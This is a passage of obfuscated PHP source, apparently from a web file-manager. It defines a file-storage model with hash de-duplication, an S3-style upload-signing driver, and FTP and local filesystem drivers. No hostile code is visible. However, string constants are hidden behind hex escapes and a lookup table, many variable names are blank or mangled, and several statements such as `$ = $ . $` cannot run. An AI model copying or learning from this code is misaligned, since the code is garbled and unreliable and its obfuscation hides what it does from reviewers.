"\x66\165\156\x63\164\151\x6f\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\x66\151\154\145"; protected $tableMeta = array("\164\141\142\x6c\x65\x4e\141\x6d\145" => "\151\157\137\x66\151\154\x65\x5f\x6d\x65\x74\141", "\155\x65\x74\141\x46\x69\x65\154\144" => "\x66\151\154\145\x49\104"); public function fileInfo($厶) { $Һ =& $_SERVER[]; static $݉ = array(); if (!isset($݉[$厶])) { $𥈖 = $Һ[1858]; $ќ = Model($Һ[470])->field($𥈖)->where(array($Һ[468] => $厶))->find(); $݉[$厶] = $ќ; } return $݉[$厶]; } public function addFileByContent($ = '', $迻 = '') { $ѣ =& $_SERVER[]; $Ȝ = TEMP_PATH . $ѣ[1859]; if (!is_dir($Ȝ)) { mk_dir($Ȝ); } $ = $Ȝ . $ѣ[1860] . rand_string(16); file_put_contents($, $); $؇鴲 = $this->addFile($, $迻, !0); if (file_exists($)) { @unlink($); } return $؇鴲; } public function createFileName($Ɩ, $ձ = false, $ɯ = false) { $ɦԣ =& $_SERVER[]; $ = IO::init($ɦԣ[8]); $ַé̫ = $this->makeFilePath($Ɩ, $, $ձ, $ɯ); $зɖ = $->pathFather($ַé̫); static $ڷ = false; $ = $ɦԣ[1861] . md5($зɖ); if (!$ڷ && !Cache::get($)) { $ڷ = !0; $ʌ = IO::mkdir($зɖ); if (!IO::exist($ʌ . $ɦԣ[790])) { IO::mkfile($ʌ . $ɦԣ[790]); } Cache::set($, 1, 3600 * 2); } return $ַé̫; } public function makeFilePath($շ, $, $ = false, $ʍ = false) { $ =& $_SERVER[]; $ = Model($[763])->get($[1862]); $ = KodIO::defaultIO() . date($[1863]); $ = $ . rand_string(5) . short_id(100); $շ = str_replace($[8], $[11], KodIO::clear($շ)); $ = $->ext($շ); if (!$շ) { $ = $[1864]; } switch ($) { case $[1865]: $ = $ . $[10] . $->ext($շ); if ($ == $[1803]) { $ .= $[1535]; } break; case $[1866]: $ۏ = Model($[763])->get($[764]); $ = substr(md5($[765] . $ۏ . date($[741])), 0, 8); $֯ۯ = KodIO::defaultDriver(); $ = $[1214] . $֯ۯ[$[401]] . $[410] . date($[1867]) . $ . $[8]; if ($ == $[1803]) { $շ .= $[1535]; } $鐤 = $[1868] . $ . $շ; CacheLock::lock($鐤); $ = $ . $շ; if (IO::exist($ . $շ)) { $ = substr($շ, 0, strlen($շ) - strlen($)); $΢ȥ = $ʍ ? substr($ʍ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $ . $΢ȥ . $[10] . $; } if (IO::isTypeObject($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[1869], !1); } } CacheLock::unlock($鐤); break; case $[1864]: break; default: break; } return $; } public function addFileByRemote($, $ђ, $ = array()) { $ߐ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $դ = $[$ߐ[169]] ? $[$ߐ[169]] : $ߐ[12]; $ = IO::hashMd5($, $դ); $ = KodIO::defaultDriver(); $Ⓘƒ = array($ߐ[579] => IO::size($), $ߐ[1870] => 1, $ߐ[421] => $ђ, $ߐ[801] => $[$ߐ[401]], $ߐ[422] => $, $ߐ[1871] => $[$ߐ[170]] ? $[$ߐ[170]] : IO::hashSimple($), $ߐ[1872] => $ ? $ : $դ); if ($ = $this->addFileCheckExist($Ⓘƒ[$ߐ[170]], $Ⓘƒ[$ߐ[169]], $Ⓘƒ[$ߐ[80]])) { return $; } return $this->addFileData($Ⓘƒ); } private function addFileData($Δ) { $ʬ =& $_SERVER[]; if (!$Δ) { return !1; } $Δ[$ʬ[80]] = intval($Δ[$ʬ[80]]); if (!$Δ[$ʬ[80]] && strlen($Δ[$ʬ[170]]) > 32) { $Δ[$ʬ[80]] = intval(substr($Δ[$ʬ[170]], 32)); } $ = $this->add($Δ); return $this->find($); } public function addFile($ٌ, $͐, $ = false) { $ =& $_SERVER[]; $ӹ = IO::hashSimple($ٌ); $۷ = IO::size($ٌ); $ɭ = $۷ <= 1024 * 1024 * 10 ? IO::hashMd5($ٌ) : $[12]; $ = $[1873] . $ӹ; CacheLock::lock($); if ($ɭ && $ӹ) { $dȯ = $this->addFileCheckExist($ӹ, $ɭ, $۷); if ($dȯ) { CacheLock::unlock($); return $dȯ; } } $ѻ = $this->addFileMake($ٌ, $۷, $ӹ, $ɭ, $͐, $); $ٟ = $this->addFileData($ѻ); CacheLock::unlock($); if (!$ɭ && $ٟ) { $this->fileMd5Check($ٟ); } return $ٟ; } private function fileMd5Check($ŏÆ) { $ǀ =& $_SERVER[]; $筠 = array($ŏÆ[$ǀ[467]], $ŏÆ[$ǀ[78]]); $ = $ǀ[1874] . $ŏÆ[$ǀ[78]]; $ = $ǀ[1875] . $ŏÆ[$ǀ[467]]; $ߐ = TaskQueue::add($ǀ[1876], $筠, $, $); if (!$ߐ) { $this->fileMd5Set($ŏÆ[$ǀ[467]], $ŏÆ[$ǀ[78]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($ͣ, $) { $ =& $_SERVER[]; $ = $this->find($ͣ); if (!$ || $[$[169]]) { return; } $ʢ = IO::hashMd5($); if (!$ʢ) { return $[12]; } $this->where(array($[467] => $ͣ))->save(array($[169] => $ʢ)); } public function addFileMake($﹙, $߇, $, $, $ؘ, $) { $⧂ =& $_SERVER[]; $㋋ = $this->createFileName($ؘ, $, $); $ = get_path_father($㋋); $ = get_path_this($㋋); if ($) { $ = IO::move($﹙, $, !1, $); } else { $ = IO::copy($﹙, $, !1, $); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $ = array($⧂[579] => $߇, $⧂[1870] => 1, $⧂[421] => $ؘ, $⧂[801] => $[$⧂[401]], $⧂[422] => $㋋, $⧂[1871] => $, $⧂[1872] => $); return $; } public function addFileCheckExist($ޣՉ, $т, $) { $׎ =& $_SERVER[]; $ӣ = $this->findByHash($ޣՉ, $т); if (!$ӣ) { return !1; } $ʡ = array($׎[1870] => intval($ӣ[$׎[1877]]) + 1, $׎[579] => $); $this->where(array($׎[468] => $ӣ[$׎[467]]))->save($ʡ); return $ӣ; } public function remove($Ğ) { $this->linkCountChange($Ğ, !1); $this->clearEmpty(); return !0; } public function linkAdd($Ό) { $this->linkCountChange($Ό, !0); } public function linkCountChange($ն, $Ą) { $܏ =& $_SERVER[]; if (!$ն) { return; } if (!is_array($ն)) { $ն = array($ն); } $ = array(); foreach ($ն as $ƅ) { $ = $ƅ . $܏[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $å = array(); foreach ($ as $ƅ => $ū) { $ = $ū . $܏[12]; if (!$å[$]) { $å[$] = array(); } $å[$][] = $ƅ; } foreach ($å as $ū => $) { if (!$) { continue; } $ū = $Ą ? $ū : -intval($ū); $ = array($܏[467] => array($܏[7], $)); if ($ū < 0) { $[$܏[1877]] = array($܏[1002], abs($ū)); } $this->where($)->setAdd($܏[1877], $ū); } } public function findByHash($, $¬Ǎ = false) { $񞾻 =& $_SERVER[]; if (!$ && !$¬Ǎ) { return !1; } $ = array($񞾻[1871] => $); if ($¬Ǎ) { $ = array($񞾻[1872] => $¬Ǎ); } return $this->order($񞾻[1878])->where($)->find(); } public function clearEmpty($΁ = 0) { $׼ =& $_SERVER[]; $ = time() - 3600 * 24 * $΁; $ = $׼[1879] . $; $܄ۓ = $this->where($)->select(); if (!$܄ۓ) { return; } $ǎ = new Task($׼[1880], $׼[12], count($܄ۓ)); foreach ($܄ۓ as $랤) { $ǎ->update(1); $this->resetFile($랤); } $ǎ->end(); } public function resetFile($) { $ԇ =& $_SERVER[]; $겇 = array($ԇ[468] => $[$ԇ[467]]); $ = Model($ԇ[1312])->where($겇)->count(); $ = Model($ԇ[1881])->where($겇)->count(); $ś = intval($) + intval($); if ($ś == 0) { IO::remove($[$ԇ[78]]); Model($ԇ[1882])->delete($[$ԇ[467]]); $this->where($겇)->delete(); $this->metaSet($[$ԇ[467]], null, null); return; } if ($[$ԇ[1877]] != $ś) { $this->where($겇)->save(array($ԇ[1870] => $ś)); } } public function storageInfo($ڪ = false) { $ =& $_SERVER[]; $ = $this->count() + 0.0; $ = 0; $Ёޅ = 1; $Œ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $䮮 = $this->limit($, $ + $)->select(); foreach ($䮮 as $) { $Ёޅ += $[$[80]] * $[$[1877]]; $ += $[$[80]] * ($[$[1877]] - 1); $Œ += $[$[1877]]; } } $ڈ = array($[1883] => $Ёޅ, $[1884] => $, $[1885] => $ / $Ёޅ, $[84] => $, $[1886] => $Œ); return $ڈ; } } goto e; bٲ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($Ѥ) { parent::__construct($Ѥ); $this->signatureVersion($_SERVER[][211]); } public function uploadFormData($ړ, $ܒ = 3600) { $ =& $_SERVER[]; $ѯҹ = $[191]; $ = $[1331]; $Й = $[62]; $ = gmdate($[1332]); $ = gmdate($[744]); $ = $[1333]; $ɧ = $ܒ . $[12]; $묥 = $[1295]; $リ = array($this->accessKey, $, $this->region, $Й, $); $ = implode($[8], $リ); $ = array($[1297] => gmdate($[1296], strtotime($[1334])), $[1298] => array(array($[1300] => $this->bucket), array($[1299] => $ѯҹ), array($[1301], $[1302], $[12]), array($[1301], $[1335], $[12]), array($[1301], $[1336], $[12]), array($[1303] => $묥), array($[1337] => $), array($[1338] => $), array($[1339] => $), array($[1340] => $ɧ))); $坺 = base64_encode(json_encode($)); $۠٪ = hash_hmac($[1341], $, $[1342] . $this->secret, !0); $۩އ = hash_hmac($[1341], $this->region, $۠٪, !0); $Ŵ = hash_hmac($[1341], $Й, $۩އ, !0); $Ƕ = hash_hmac($[1341], $, $Ŵ, !0); $ĕͮ = hash_hmac($[1341], $坺, $Ƕ); $ݬ = array($[210] => $[12], $[1343] => $[12], $[1299] => $ѯҹ, $[1303] => $묥, $[1307] => $坺, $[1344] => $, $[1345] => $, $[1346] => $, $[1347] => $ɧ, $[1348] => $ĕͮ, $[174] => $this->getHost()); return $ݬ; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; private $config = array(); public function __construct($ꝟ) { parent::__construct(); if (count($ꝟ) > 0) { $this->_init($ꝟ); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ҥ) { $ֈ =& $_SERVER[]; global $config; $this->appCharset = $config[$ֈ[1349]]; $this->systemCharset = $config[$ֈ[1350]]; if (isset($ҥ[$ֈ[1351]]) && $ҥ[$ֈ[1351]]) { $this->systemCharset = $ҥ[$ֈ[1351]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($ȸ) { $߸ =& $_SERVER[]; $ˢÚ = $this->iconvApp($this->pathBase); $ȸ = $this->iconvApp($ȸ); if (substr($ˢÚ, 0, 2) == $߸[1352]) { $ˢÚ = BASIC_PATH . substr($ˢÚ, 2); } if (substr($ȸ, 0, 2) == $߸[1352]) { $ȸ = BASIC_PATH . substr($ȸ, 2); } $ˢÚ = KodIO::clear($ˢÚ); $ȸ = KodIO::clear($ȸ); $ȸ = substr($ȸ, strlen($ˢÚ)); if (empty($this->pathDriver)) { return $ȸ; } return $this->pathDriver . $߸[8] . ltrim($ȸ, $߸[8]); } private function _init($޶ = array()) { $А =& $_SERVER[]; if (!function_exists($А[1353])) { throw new Exception(LNG($А[1354])); } $this->config = $޶; $this->charsetReset($޶); foreach ($޶ as $ۃ => $ۼ) { if (isset($this->{$ۃ})) { $this->{$ۃ} = $ۼ; } } return $this->_login($޶); } private function _login($ȱ) { $ =& $_SERVER[]; static $䒱 = array(); $ = md5(json_encode($ȱ)); if (isset($䒱[$])) { foreach ($䒱[$] as $ => $) { $this->{$} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[174]]; $ = isset($[$[173]]) && $[$[173]] == $[1355] ? !0 : !1; $this->scheme = $ ? $[1356] : $[1357]; $this->port = isset($[$[175]]) ? $[$[175]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $߫ǵ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ұ = $this->pasv == $[89] ? !0 : !1; @ftp_pasv($this->connect, $ұ); $䒱[$] = array($[1358] => $this->connect, $[174] => $this->host, $[173] => $this->scheme, $[175] => $this->port); return $߫ǵ; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $٭ = '', $肄 = REPEAT_RENAME) { if ($this->setContent($, $٭)) { return $this->getPathOuter($); } return !1; } public function mkdir($ۺ, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ۺ = $this->iconvSystem($ۺ); if ($this->_isFolder($ۺ) || @ftp_mkdir($this->connect, $ۺ)) { return $this->getPathOuter($ۺ); } if (!$this->mkdir($this->pathFather($ۺ))) { return !1; } if ($ۺ = @ftp_mkdir($this->connect, $ۺ)) { return $this->getPathOuter($ۺ); } return !1; } public function copyFile($ŵ, $Ō) { if (!$this->_isconn()) { return !1; } $⇓ = $this->pathThis($this->iconvSystem($ŵ)); $ = $this->tempFile($⇓); $ؤ = $this->iconvApp($); $this->download($ŵ, $ؤ); $ = $this->upload($Ō, $ؤ); $this->tempFileRemve($); return $; } public function moveFile($ƴ, $숁) { if (!$this->_isconn()) { return !1; } $ƴ = $this->iconvSystem($ƴ); $숁 = $this->iconvSystem($숁); $ۮ = @ftp_rename($this->connect, $ƴ, $숁); return $ۮ ? $this->getPathOuter($숁) : !1; } public function delFile($Ѯ֦) { if (!$this->_isconn()) { return !1; } $Ѯ֦ = $this->iconvSystem($Ѯ֦); return @ftp_delete($this->connect, $Ѯ֦); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $饫 = $Ë = array(); $this->fileList($, $饫, $Ë, !0); $this->listItemCache = !0; foreach ($Ë as $٘Ǭ) { $ = $this->iconvSystem($٘Ǭ[$_SERVER[][32]]); $˘ = @ftp_delete($this->connect, $); if (!$˘) { return !1; } } foreach ($饫 as $) { $ = $this->iconvSystem($); $˘ = @ftp_rmdir($this->connect, $); if (!$˘) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $˰) { $갫 =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $˰); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ꜛ = $this->pathFather($); $ϕ = rtrim($ꜛ, $갫[8]) . $갫[8] . $; $ڻ = @ftp_rename($this->connect, $, $ϕ); $ϕ = $this->iconvApp($ϕ); return $ڻ ? $this->getPathOuter($ϕ) : !1; } private function folderInfo($Ϗ, $Ϳ = false) { $نȺ =& $_SERVER[]; $ܝ = array($نȺ[32] => $this->pathThis($Ϗ), $نȺ[78] => $this->getPathOuter($نȺ[8] . $Ϗ), $نȺ[33] => $نȺ[79]); if ($Ϳ) { return $ܝ; } $ܝ[$نȺ[193]] = $ܝ[$نȺ[86]] = 0; $ܝ[$نȺ[194]] = $ܝ[$نȺ[195]] = !0; return $ܝ; } private function fileInfo($, $ = false, $Ž = array()) { $ =& $_SERVER[]; $܆ = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[192], $[80] => isset($Ž[$[80]]) ? $Ž[$[80]] : 0, $[167] => $this->ext($)); if ($) { return $܆; } $܆[$[193]] = $܆[$[86]] = 0; $܆[$[194]] = $܆[$[195]] = !0; $î = $this->iconvSystem($); $܆[$[86]] = @ftp_mdtm($this->connect, $î); if (empty($Ž)) { $Ž = $this->objectMeta($); if (!$Ž) { return $܆; } } $܆[$[80]] = $Ž[$[80]]; return $܆; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$ޤ, &$, $ = false) { $Ҧ =& $_SERVER[]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $Ҧ[8]); $ = rtrim($, $Ҧ[8]) . $Ҧ[8]; check_abort(); $ = $this->listItemCache === !1 ? !1 : !0; $ߢ = @ftp_rawlist($this->connect, $); if (!$ߢ) { $ߢ = array(); } $۠́ = array($Ҧ[10] => 1, $Ҧ[1359] => 1); foreach ($ߢ as $) { $݋ֹ = $this->_listItem($); if ($݋ֹ[0] == $Ҧ[752]) { continue; } $։ = $݋ֹ[8]; if (empty($։) && $։ !== $Ҧ[190] || isset($۠́[$։])) { continue; } $։ = $this->iconvApp($ . ltrim($։, $Ҧ[8])); $ = array($Ҧ[32] => $։, $Ҧ[33] => $Ҧ[192], $Ҧ[80] => $݋ֹ[4]); if (substr($, 0, 1) == $Ҧ[1360]) { $[$Ҧ[33]] = $Ҧ[79]; $[$Ҧ[80]] = 0; } $ = $[$Ҧ[33]] == $Ҧ[79] ? !0 : !1; if ($) { $this->cacheMethod($Ҧ[198], $։, $); $this->cacheMethod($Ҧ[199], $։, $); } if ($) { $ޤ[] = $։; if ($) { $this->fileList($։, $ޤ, $, $); } continue; } $[] = $; } if ($) { $this->cacheMethod($Ҧ[198], $, !0); } } private function _listItem($ɹ) { if (empty($ɹ)) { return array(); } $ = preg_split($_SERVER[][1361], $ɹ); if (count($) <= 9) { return $; } $[8] = trim(substr($ɹ, strpos($ɹ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ٍ, $ = false) { $‼ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $̭ = array(); $this->fileList($ٍ, $, $̭); foreach ($ as $ጽ => $Ҳ) { $[$ጽ] = $this->folderInfo($Ҳ, $); } foreach ($̭ as $ጽ => $Ҳ) { $̭[$ጽ] = $this->fileInfo($Ҳ[$‼[32]], $, $Ҳ); } return array($‼[77] => $, $‼[76] => $̭); } public function has($ȳ, $ד = false, $ = true) { $ڢ =& $_SERVER[]; $ًɛ = $ = array(); $ب = $ד ? !0 : !1; $this->fileList($ȳ, $ًɛ, $, $ب); if ($ד) { return array($ڢ[202] => count($), $ڢ[203] => count($ًɛ)); } if ($) { if (count($)) { return !0; } } else { if (count($ًɛ)) { return !0; } } return !1; } public function listAll($ڃ) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ڃ, $, $, !0); $ӑ֞ = array(); foreach ($ as $ʵ) { $ӑ֞[$ʵ[$[32]]] = $ʵ[$[80]]; } foreach ($ as $ʵ) { if (is_string($ʵ)) { $ӑ֞[$ʵ] = 0; } } return $this->listAllFiles($ڃ, array_keys($ӑ֞), $ӑ֞); } public function getContent($尮) { if (!$this->_isconn()) { return !1; } $尮 = $this->iconvSystem($尮); return $this->fileSubstr($尮); } public function setContent($ڞ, $ = '') { if (!$this->_isconn()) { return !1; } $򌤊 = $this->pathThis($this->iconvSystem($ڞ)); $ = $this->tempFile($򌤊); file_put_contents($, $); $ = $this->upload($ڞ, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($ǻ, $ = 0, $ܲDz = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($ǻ, $, $ܲDz); } private function ftpRequest($ۦ, $ʜ = 0, $ = false) { $ۦ = $this->iconvSystem($ۦ); $޷ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ʓ = curl_init(); curl_setopt($ʓ, CURLOPT_URL, $޷ . $this->pathEncode($ۦ)); curl_setopt($ʓ, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($) { $ = $ʜ + $ - 1; curl_setopt($ʓ, CURLOPT_RANGE, "{$ʜ}\x2d{$}"); } curl_setopt($ʓ, CURLOPT_RETURNTRANSFER, 1); $囎 = curl_exec($ʓ); curl_close($ʓ); return $囎; } public function upload($, $, $ط = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($, $є = '') { if (!$this->_isconn()) { return !1; } $Ѐ = $this->pathFather($є); if (!IO::mkdir($Ѐ)) { return !1; } $ = $this->iconvSystem($); $є = $this->iconvSystem($є); $ʶ = ftp_nb_get($this->connect, $є, $, FTP_BINARY); while ($ʶ == FTP_MOREDATA) { $ʶ = ftp_nb_continue($this->connect); } if ($ʶ != FTP_FINISHED) { return !1; } return $this->iconvApp($є); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][198], $); } protected function objectMeta($ʌ) { return $this->cacheMethod($_SERVER[][199], $ʌ); } protected function _objectMeta($) { $Μ =& $_SERVER[]; if ($ == $Μ[12] || $ == $Μ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ϙ = array($Μ[32] => $this->iconvApp($), $Μ[33] => $Μ[192], $Μ[80] => 0); @ftp_chdir($this->connect, $Μ[8]); $ = @ftp_size($this->connect, $); if ($ != -1) { $Ϙ[$Μ[80]] = $; } else { $ɳ = @ftp_chdir($this->connect, $); if (!$ɳ) { return !1; } $Ϙ[$Μ[33]] = $Μ[79]; } return $Ϙ; } protected function _isFolder($) { $͔ =& $_SERVER[]; if ($ == $͔[12] || $ == $͔[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$͔[33]]) && $[$͔[33]] == $͔[79] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ɛ) { if (substr($ɛ, 0, 2) == $_SERVER[][1352]) { $ɛ = BASIC_PATH . substr($ɛ, 2); } return $ɛ; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1350]], $config[$[1349]]); } public function iconvSystem($ͻ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($ͻ, $config[$[1349]], $config[$[1350]]); } public function getPathOuter($Ê) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $Ê = $this->iconvApp($Ê); if (substr($, 0, 2) == $[1352]) { $ = BASIC_PATH . substr($, 2); } if (substr($Ê, 0, 2) == $[1352]) { $Ê = BASIC_PATH . substr($Ê, 2); } $ = KodIO::clear($); $Ê = KodIO::clear($Ê); $Ê = substr($Ê, strlen($)); if (empty($this->pathDriver)) { return $Ê; } return $this->pathDriver . $[8] . ltrim($Ê, $[8]); } public function mkfile($䒠, $ = '', $Ҁ = REPEAT_RENAME) { $䒠 = $this->iconvSystem($䒠); @touch($䒠); if ($) { file_put_contents($䒠, $); } @chmod($䒠, $this->pathAuth); return is_file($䒠) ? $this->getPathOuter($䒠) : !1; } public function mkdir($İ, $޼ = REPEAT_SKIP) { $İ = $this->iconvSystem($İ); if (is_dir($İ)) { return $this->getPathOuter($İ); } @mkdir($İ, $this->pathAuth, !0); @chmod($İ, $this->pathAuth); return is_dir($İ) ? $this->getPathOuter($İ) : !1; } public function copyFile($҄, $) { $this->mkdir($this->pathFather($)); $҄ = $this->iconvSystem($҄); $ = $this->iconvSystem($); $ = copy_64($҄, $); @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function moveFile($̥, $) { $this->mkdir($this->pathFather($)); $̥ = $this->iconvSystem($̥); $ = $this->iconvSystem($); $ހ = intval(@rename($̥, $)); if (!$ހ) { if ($ހ = intval(@copy_64($̥, $))) { @unlink($̥); } } @chmod($, $this->pathAuth); return $ހ ? $this->getPathOuter($) : !1; } public function movePath($, $, $ = false) { $© =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $©[8]) . $©[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ڣ = intval(@rename($, $)); $ڣ = file_exists($); return $ڣ ? $this->getPathOuter($) : !1; } public function delFile($ߗ) { $ߗ = $this->iconvSystem($ߗ); if (!@unlink($ߗ)) { @chmod($ߗ, $this->pathAuth); if (!@unlink($ߗ)) { return !1; } } else { return !0; } } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $Ŕ) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $Ŕ); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $،Ꝿ = $this->pathFather($); $ = rtrim($،Ꝿ, $[8]) . $[8] . $; $Ǽ = @rename($, $); $ = $this->iconvApp($); return $Ǽ ? $this->getPathOuter($) : !1; } public function size($¿) { $¿ = $this->iconvSystem($¿); return filesize_64($¿); } public function info($ӑ) { $ӑ = $this->iconvSystem($ӑ); if ($this->isFolder($ӑ)) { return $this->folderInfo($ӑ); } else { if ($this->isFile($ӑ)) { return $this->fileInfo($ӑ); } } return !1; } protected function infoChildren($, &$ĉ, $ժ = true) { $ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($ժ) { $ = $this->iconvSystem($); } if (!($ߦ = @opendir($))) { return; } while (($ڬ = readdir($ߦ)) !== !1) { if ($ڬ == $[10] || $ڬ == $[1359]) { continue; } $ = $ . $ڬ; if (is_file($) || is_link($)) { $ĉ[$[81]]++; $ĉ[$[80]] += filesize_64($); } else { if (is_dir($)) { $ĉ[$[82]]++; $this->infoChildren($, $ĉ, !1); } } } closedir($ߦ); } private function folderInfo($́, $ĺ = false) { $Ɂ =& $_SERVER[]; $́ = rtrim($́, $Ɂ[8]) . $Ɂ[8]; $Ї = $this->iconvApp($this->pathThis($́)); if ($ĺ) { return array($Ɂ[32] => $Ї, $Ɂ[78] => $this->getPathOuter($́), $Ɂ[33] => $Ɂ[79]); } $޿ = array($Ɂ[32] => $Ї, $Ɂ[78] => $this->getPathOuter($́), $Ɂ[33] => $Ɂ[79], $Ɂ[193] => @filectime($́), $Ɂ[86] => @filemtime($́), $Ɂ[1362] => @fileatime($́), $Ɂ[1363] => is_readable($́), $Ɂ[1364] => is_writable($́), $Ɂ[1365] => get_mode($́)); return $޿; } private function fileInfo($х, $ = false) { $ӄā =& $_SERVER[]; $琬 = $this->iconvApp($this->pathThis($х)); if ($) { return array($ӄā[32] => $琬, $ӄā[78] => $this->getPathOuter($х), $ӄā[33] => $ӄā[192], $ӄā[80] => $this->size($х), $ӄā[167] => $this->ext($琬)); } $ = array($ӄā[32] => $琬, $ӄā[78] => $this->getPathOuter($х), $ӄā[33] => $ӄā[192], $ӄā[193] => @filectime($х), $ӄā[86] => @filemtime($х), $ӄā[1362] => @fileatime($х), $ӄā[80] => $this->size($х), $ӄā[167] => $this->ext($琬), $ӄā[1363] => is_readable($х), $ӄā[1364] => is_writable($х), $ӄā[1365] => get_mode($х)); return $; } public function exist($ހ) { $ހ = $this->iconvSystem($ހ); return @file_exists($ހ); } public function isFile($ށ) { $ށ = $this->iconvSystem($ށ); return @is_file($ށ); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($朦, $ = false) { $ =& $_SERVER[]; $朦 = $this->iconvSystem($朦); $朦 = rtrim($朦, $[8]) . $[8]; $Ъ = array($[77] => array(), $[76] => array()); if (!($ѱ = @opendir($朦))) { return $Ъ; } while (($ = readdir($ѱ)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $㋗ = $朦 . $; if (is_file($㋗)) { $Ъ[$[76]][] = $this->fileInfo($㋗, $); } else { $Ъ[$[77]][] = $this->folderInfo($㋗, $); } } closedir($ѱ); return $Ъ; } public function listAll($ͭƬ, &$ = array()) { $ =& $_SERVER[]; $ͭƬ = $this->iconvSystem($ͭƬ); $ͭƬ = rtrim($ͭƬ, $[8]) . $[8]; if (!($籅 = @opendir($ͭƬ))) { return $; } while (($ = readdir($籅)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ͭƬ . $; if (is_dir($) && !is_link($)) { $[] = array($[78] => $ . $[8], $[79] => 1, $[86] => @filemtime($), $[80] => 0); $this->listAll($, $); } else { $[] = array($[78] => $, $[79] => 0, $[86] => @filemtime($), $[80] => $this->size($)); } } closedir($籅); return $; } public function has($, $Ó = false, $ː = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($Ɇ = @opendir($))) { return !1; } $ = 0; $ = 0; $䓠 = 0; while (($Ո = readdir($Ɇ)) !== !1) { if ($Ո == $[10] || $Ո == $[1359]) { continue; } $Ӝ = $ . $Ո; if ($Ó) { $䓠++; if (@is_file($Ӝ)) { $++; } else { $++; } if ($䓠 > 10000) { break; } continue; } if ($ː) { if (@is_file($Ӝ)) { return !0; } } else { if (@is_dir($Ӝ . $[8])) { return !0; } } } closedir($Ɇ); if ($Ó) { return array($[202] => $, $[203] => $); } return !1; } public function hashSimple($͏) { $ƚӆ =& $_SERVER[]; if (!$͏) { return md5($ƚӆ[12]); } $͏ = $this->iconvSystem($͏); $ = 